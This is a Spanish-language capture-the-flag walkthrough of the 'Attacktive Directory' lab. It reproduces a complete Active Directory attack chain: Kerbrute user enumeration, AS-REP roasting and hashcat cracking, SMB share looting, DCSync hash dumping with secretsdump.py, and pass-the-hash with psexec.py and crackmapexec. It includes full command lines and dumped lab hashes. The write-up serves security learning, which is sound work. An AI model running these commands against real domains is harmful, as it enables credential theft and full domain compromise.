


Write-UP (Attacktive Directory)



Microjoan_youtube 



Microjoan 



Microjoan 




Joan Moya (Aka. MicroJoan) 



Microjoan 



Microjoan 

<https://microjoan.com>



¿Qué es Active Directory?

Active Directory permite a los administradores de red crear y administrar dominios, usuarios y objetos dentro de una red. Por ejemplo, un administrador puede crear un grupo de usuarios y otorgarles privilegios de acceso específicos a ciertos directorios del servidor.

Concepto (o estructura) de Active Directory

- **Directorio:** Contiene toda la información sobre los objetos del directorio activo.
- **Objeto:** Hace referencia a casi cualquier cosa dentro del directorio (usuario, grupo, carpeta...)
- **Dominio:** Los objetos están contenidos dentro del dominio. Dentro de un "bosque" puede existir más de un dominio y cada uno de ellos tendrá su propia colección de objetos.
- **Árbol:** Ejemplo: dom.local, email.dom.local, www.dom.local
- **Bosque:** el bosque es el nivel más alto de la jerarquía organizativa y está compuesto por un grupo de árboles conectados por relaciones de confianza.

Servicios de Active Directory

- **Servicios de dominio:** Administra la comunicación entre usuarios y dominios; incluye autenticación de inicio de sesión y funcionalidad de búsqueda
- **Servicios de certificados:** Crea, distribuye y administra certificados seguros.
- **Servicios de directorio ligeros:** Admite aplicaciones habilitadas para directorios que utilizan el protocolo abierto (LDAP).
- **Servicios de federación de directorios:** Proporciona inicio de sesión único (SSO) para autenticar a un usuario en varias aplicaciones web en una sola sesión.
- **Gestión de derechos:** Protege la información protegida por derechos de autor evitando el uso y la distribución no autorizados de contenido digital.
- **Servicio DNS:** Se utiliza para resolver nombres de dominio.



¿Qué es LDAP?

LDAP son las siglas de Protocolo Ligero de Acceso a Directorio.

Se trata de un conjunto de protocolos de licencia abierta que son utilizados para acceder a la información que está almacenada de forma centralizada en una red.

Antes de empezar, tenemos que instalar algunas herramientas, la primera que vamos a instalar va a ser impacket, un proyecto que contiene múltiples clases y scripts que soportan los principales protocolos de red disponibles actualmente, especialmente aquellos utilizados en redes con sistemas Windows.

```
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
```

Después de clonar el repositorio, se instalarán varios archivos relacionados, requirements.txt y setup.py.

Primero instalaremos los requisitos de Python para Impacket:

```
pip3 install -r /opt/impacket/requirements.txt
```

Una vez instalados, instalaremos Impacket:

```
cd /opt/impacket/ && python3 ./setup.py install
```

Por último necesitamos instalar Bloodhunt y Neo4j, para ello instalaremos las dos herramientas con el siguiente comando:

```
apt install bloodhound neo4j
```

¿Qué es Bloodhunt y Neo4j?

Bloodhunt genera un diagrama de la topología a la que nos enfrentamos para visualizar las posibles vulnerabilidades y fallos.

Las bases de datos orientadas a grafos (BDOG) ayudan a encontrar relaciones y dar sentido al puzzle completo. Una de las más conocidas es **Neo4j**, un servicio implementado en Java.

Una vez instaladas todas las herramientas y insertada la máquina la máquina en hosts vamos a escanear los puertos, para ello utilizaremos Nmap con el siguiente comando:

```
nmap -sC -sV -Pn 10.10.183.51
```

- -sC: Ejecuta los scripts predeterminados de Nmap
- -sV: Escanea la versión del puerto
- -Pn: Evita hacer un escaneo ping

```
Nmap scan report for 10.10.183.51
Host is up (0.076s latency).
Not shown: 987 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_   Potentially risky methods: TRACE
|_   http-title: IIS Windows Server
|_   http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2022-01-04 14:51:35Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server  Microsoft Terminal Services
|_ ssl-date: 2022-01-04T14:51:49+00:00; +2s from scanner time.
|_ rdp-ntlm-info:
|_   Target_Name: THM-AD
|_   NetBIOS_Domain_Name: THM-AD
|_   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|_   DNS_Domain_Name: spookysec.local
|_   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|_   Product_Version: 10.0.17763
|_   System_Time: 2022-01-04T14:51:40+00:00
|_   ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
|_   Not valid before: 2022-01-03T13:55:05
|_   Not valid after: 2022-07-05T13:55:05
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|_   date: 2022-01-04T14:51:45
|_   start_date: N/A
|_ smb2-security-mode:
|_   3.1.1:
|_     Message signing enabled and required
|_ clock-skew: mean: 1s, deviation: 0s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.02 seconds
```



Como vemos, tenemos abiertos el puerto 139 y 445:

Los puertos NetBIOS son utilizados por el intercambio de archivos y aplicaciones de uso compartido de impresoras. Los usuarios de la red con sede fuera de la red acceden a estos servicios a través del puerto **139**.

El puerto **445** se utiliza en la parte superior de una pila TCP por las versiones más recientes de SMB, lo que permite que SMB interactúe a través de Internet. Esto también implica que puede utilizar direcciones IP para compartir archivos como SMB.

Podemos comprobar también, que en el escaneo con Nmap nos saca el nombre del dominio local "spookysec.local":

```
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-01-04T14:51:49+00:00; +2s from scanner time.
rdp-ntlm-info:
  Target_Name: THM-AD
  NetBIOS_Domain_Name: THM-AD
  NetBIOS_Computer_Name: ATTACKTIVEDIREC
  DNS_Domain_Name: spookysec.local
  DNS_Computer_Name: AttacktiveDirectory.spookysec.local
  Product_Version: 10.0.17763
|_ System_Time: 2022-01-04T14:51:40+00:00
|_ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
Not valid before: 2022-01-03T13:55:05
|_Not valid after: 2022-07-05T13:55:05
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

También podríamos encontrar información con la herramienta enum4linux de la siguiente manera:

```
enum4linux -a 10.10.45.197
```

La cual también nos otorga información sobre el nombre del dominio local:

```
| Getting domain SID for 10.10.183.51 |
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
```



Como hemos visto en el puerto 88, se está utilizando Kerberos, Kerberos es un servicio de autenticación de claves dentro de AD, con este puerto abierto, podemos usar una herramienta llamada Kerbrute para descubrir usuarios por fuerza bruta, contraseñas e incluso rociar contraseñas.

Para ello utilizaremos el siguiente comando:

```
pip3 install kerbrute
```

Lo que tenemos que hacer ahora es insertar le el archivo "hosts" el dominio de este servidor junto su dirección ip, para ello con nano iremos a "/etc/hosts" y añadiremos lo siguiente:

```
GNU nano 6.0 /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali
10.10.196.190 spookyssec.local
```

Dado que aquí estamos utilizando otra versión de Kerbrute, la respuesta a la pregunta de la CTF que nos pide el comando para enumerar usuarios es "USERENUM" pero como estamos utilizando otra versión de Kerbrute ahora este comando es "users":

¿Qué comando dentro de Kerbrute nos permitirá enumerar nombres de usuario válidos?

Respuesta correcta

💡 Insinuación

Acto seguido, vamos a descargar el diccionario que tenemos en la sala de usuarios y contraseñas para poder hacer un ataque de diccionario al servicio de Kerberos del servidor, lo guardaremos como ".txt", en mi caso lo he guardado en el mismo escritorio:

```
kerbrute -users users.txt -passwords pass.txt -domain spookyssec.local -threads 100
```

Veremos que conforme los usuarios van saliendo en la terminal, veremos un usuario un tanto curioso, llamado "svc-admin":

```
[*] Blocked/Disabled user ⇒ guest  
[*] Valid user ⇒ svc-admin [NOT PREAUTH]
```

Y además, también veremos un usuario un tanto peculiar que puede que nos sirva de algo:

```
[*] Valid user ⇒ backup
```

Por lo tanto, tenemos la respuesta a las dos siguientes preguntas de la sala:

What notable account is discovered? (These should jump out at you)

svc-admin

Correct Answer

What is the other notable account is discovered? (These should jump out at you)

backup

Correct Answer

Vamos a realizar un ataque "ASREPROasting", que aprovecha el servicio de autenticación previa de Kerberos. Esto significa que un dispositivo debe estar autorizado para comunicarse antes de que esté autorizado para comunicarse en la red.

Podemos usar una herramienta llamada GetNPUsers.py del conjunto de herramientas Impacket para encontrar cuentas previamente autenticadas que puedan ser explotadas, para ello nos iremos al directorio "opt" donde se encuentra esta herramienta:

```
cd /opt/impacket/build/scripts-3.9/
```

```
python3 GetNPUsers.py -dc-ip spookyssec.local spookyssec.local/svc-admin -no-pass
```



El resultado es el siguiente:

```
[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:c9f9bfec1aec7a92a28fc92937015781$faa11720a290c558b7f1714
6e3958ea8fb88f5156af0943cf368bebfc3edfaf2e487308913c79b42a8d218335b98e7173fdd4d54b1da351a7706c22
10fe9a85ba5e612f3d77ea15b36007943ee49530de9a42d0b1602732f4d2279cfc969551dba0a1e636bb5c98c09610
1b53be8d58daa8bae3a3457b34679f39151007723533a5bcd8125bfc6d619d7de412583437eb0227544e161f4d6568b2b
60045bfc7cc4a767f43886d4613241f69fc574ee07b6aec38e34a407cf7d07fea33770e4a77bf6eb4960cca65be1f66b
1d3d6b8122907d2b2f68f404c9c571a9fa70df27cfc3906f2f5259e368342430c868fbfb19165
```

Guardaremos este hash en un archivo.txt y lo vamos a descifrar con hashcat:

```
hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force
```

El resultado sería el siguiente:

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:bdefb81df78 ... db4056
Time.Started.....: Wed Jan 5 06:25:24 2022, (4 secs)
Time.Estimated...: Wed Jan 5 06:25:28 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1598.2 kH/s (1.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 5838848/14344385 (40.70%)
Rejected.....: 0/5838848 (0.00%)
Restore.Point....: 5836800/14344385 (40.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1
Candidate.Engine.: Device Generator
Candidates.#1...: manaiagal → mamuelito1
Hardware.Mon.#1..: Util: 80%
```

```
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:bdefb81df78e519f99331db50522926b$dd039910476df0196161a4c
a4c863a6eaf4cc038c1115f0f7d5a0b697e000599bfbfc4980f05da4fcc7fd0538cb7076f6961b1b92c6681eb8b67429f
56bfb2bf40c6aa9eb3bdf88b7c1a7d3f728c14e28234c6f90bb99d1a5fdec6207b14762d7fc6a216489da4e909c01b51
ae38b455a0c44b4faea383bb5cfaa37f2306de54ee637c00ad0c6878dd0de5934e911862111aa015082c06c386e1f6a2
f789ab65093f9d81e27539701ac6e0e2d4b0c1ba0f855a12c9b2c35eae468db5d511a6bad917f0d917bca26865cb2585
3037d1805660092c2d92f2fa5e3723ccd2c62bc523ff5d747d95d7ae83f59eca4a6748edb4056:management2005
```

Como ya sabemos las credenciales de un usuario hemos visto que tenemos abierto el servicio SAMBA con el puerto 445 vamos a intentar conectarnos por SMBCLIENT para ver los recursos compartidos:

```
smbclient -L 10.10.221.170 -U 'svc-admin'
```

- Introducir el host: -L
- Nombre de usuario: -U





A continuación, podremos ver los distintos recursos compartidos a los que podemos acceder desde este usuario:

```
Enter WORKGROUP\svc-admin's password:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
backup         Disk      Default share
C$             Disk      Remote IPC
IPC$           IPC        Logon server share
NETLOGON       Disk      Logon server share
SYSVOL         Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
```

Vemos que hay un recurso compartido que se llama "backup" que podemos acceder desde este usuario, vamos a intentar acceder a el otra vez con SMBCLIENT con el siguiente comando:

```
smbclient \\\10.10.221.170\backup -U 'svc-admin'
```

Cuando entremos, si listamos con el comando "ls" podremos ver que existe un archivo llamado "backup_credentials.txt":

```
Enter WORKGROUP\svc-admin's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Sat Apr  4 15:08:39 2020
..               D          0  Sat Apr  4 15:08:39 2020
backup_credentials.txt  A        48  Sat Apr  4 15:08:53 2020
```

Para descargarlo y poder visualizarlo haremos uso del comando get:

```
get backup_credentials.txt
```

El contenido de ese archivo es el siguiente:

```
GNU nano 6.0 backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw
```

Contiene una sentencia que está codificada en base64, si no vamos [aquí](#) podremos pegar la sentencia y decodificarla, el resultado es el siguiente:

```
backup@spookysec.local:backup2517860
```





Write-UP (Attacktive Directory)

Esta cuenta backup tiene un permiso único que permite sincronizar todos los cambios de Active Directory, esto incluye hashes de contraseña, para ello utilizaremos una herramienta llamada "secretsdump.py" que nos permitirá sacar todos los hashes de las cuentas a las que se ha tenido acceso:

```
secretsdump.py -just-dc backup@spookysec.local
```

Recordemos que la contraseña es la que hemos adquirido anteriormente:

```
backup@spookysec.local:backup2517860
```

```
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cf70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cfff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIRECTORY:1000:aad3b435b51404eeaad3b435b51404ee:995e720bd013c07d1288c2ccd9504107:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae6dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aee7f9cecd3cfd69082fb7eda429045e9
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7f7dbec9d33f303050d77b6bfff0e74d0184b5acbd563c63c102da
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e1632
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659ba
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbcc3bb594
```

Ahora con la herramienta psexec.py dentro del directorio de impacket que hemos entrado anteriormente vamos a iniciar sesión con la cuenta de administrador pasando como contraseña el hash que vemos arriba:

```
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
administrator@spookysec.local
```



Es una buena praxis el ver si ese hash sirve como método de autenticación o de inicio de sesión dentro de un equipo, porque puede no funcionar porque puede haber un antivirus o firewall que bloquea ese tipo de inicios de sesión, con la herramienta crackmapexec podemos pasar el usuario y el hash y ver si es correcto:

```
crackmapexec smb spookysec.local -u 'administrator' -H  
'0e0363213e37b94221497260b0bcb4fc'
```

```
kali@kali: ~/Escritorio  
$ crackmapexec smb spookysec.local -u 'administrator' -H '0e0363213e37b94221497260b0bcb4fc'  
SMB 10.10.221.170 445 ATTACKTIVEDIREC [*] Windows 10.0 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)  
SMB 10.10.221.170 445 ATTACKTIVEDIREC [*] spookysec.local\administrator 0e0363213e37b94221497260b0bcb4fc (Pwn3d!)
```

El resultado es un (Pwn3d!) lo que quiere decir que tiene permisos de administrador esta cuenta, si no tiene el resultado pero conserva el símbolo [+] quiere decir que la cuenta sigue siendo válida pero no tiene permisos de administrador.

Como dato extra decir que los hashes NTLM son prácticamente las contraseñas en texto plano, solo que están "cifradas" en el sistema, y es por ello que podemos acceder al equipo, pero si hacemos un Relay en la red capturaremos hashes NTLMv2 que no está en el mismo formato al que se almacena en el equipo (NTLM) por lo tanto no podemos acceder así si interceptamos hashes envenenando la red.

Y una vez con la sesión iniciada podremos ir al directorio del escritorio de cada uno de los usuarios y ver la bandera!!

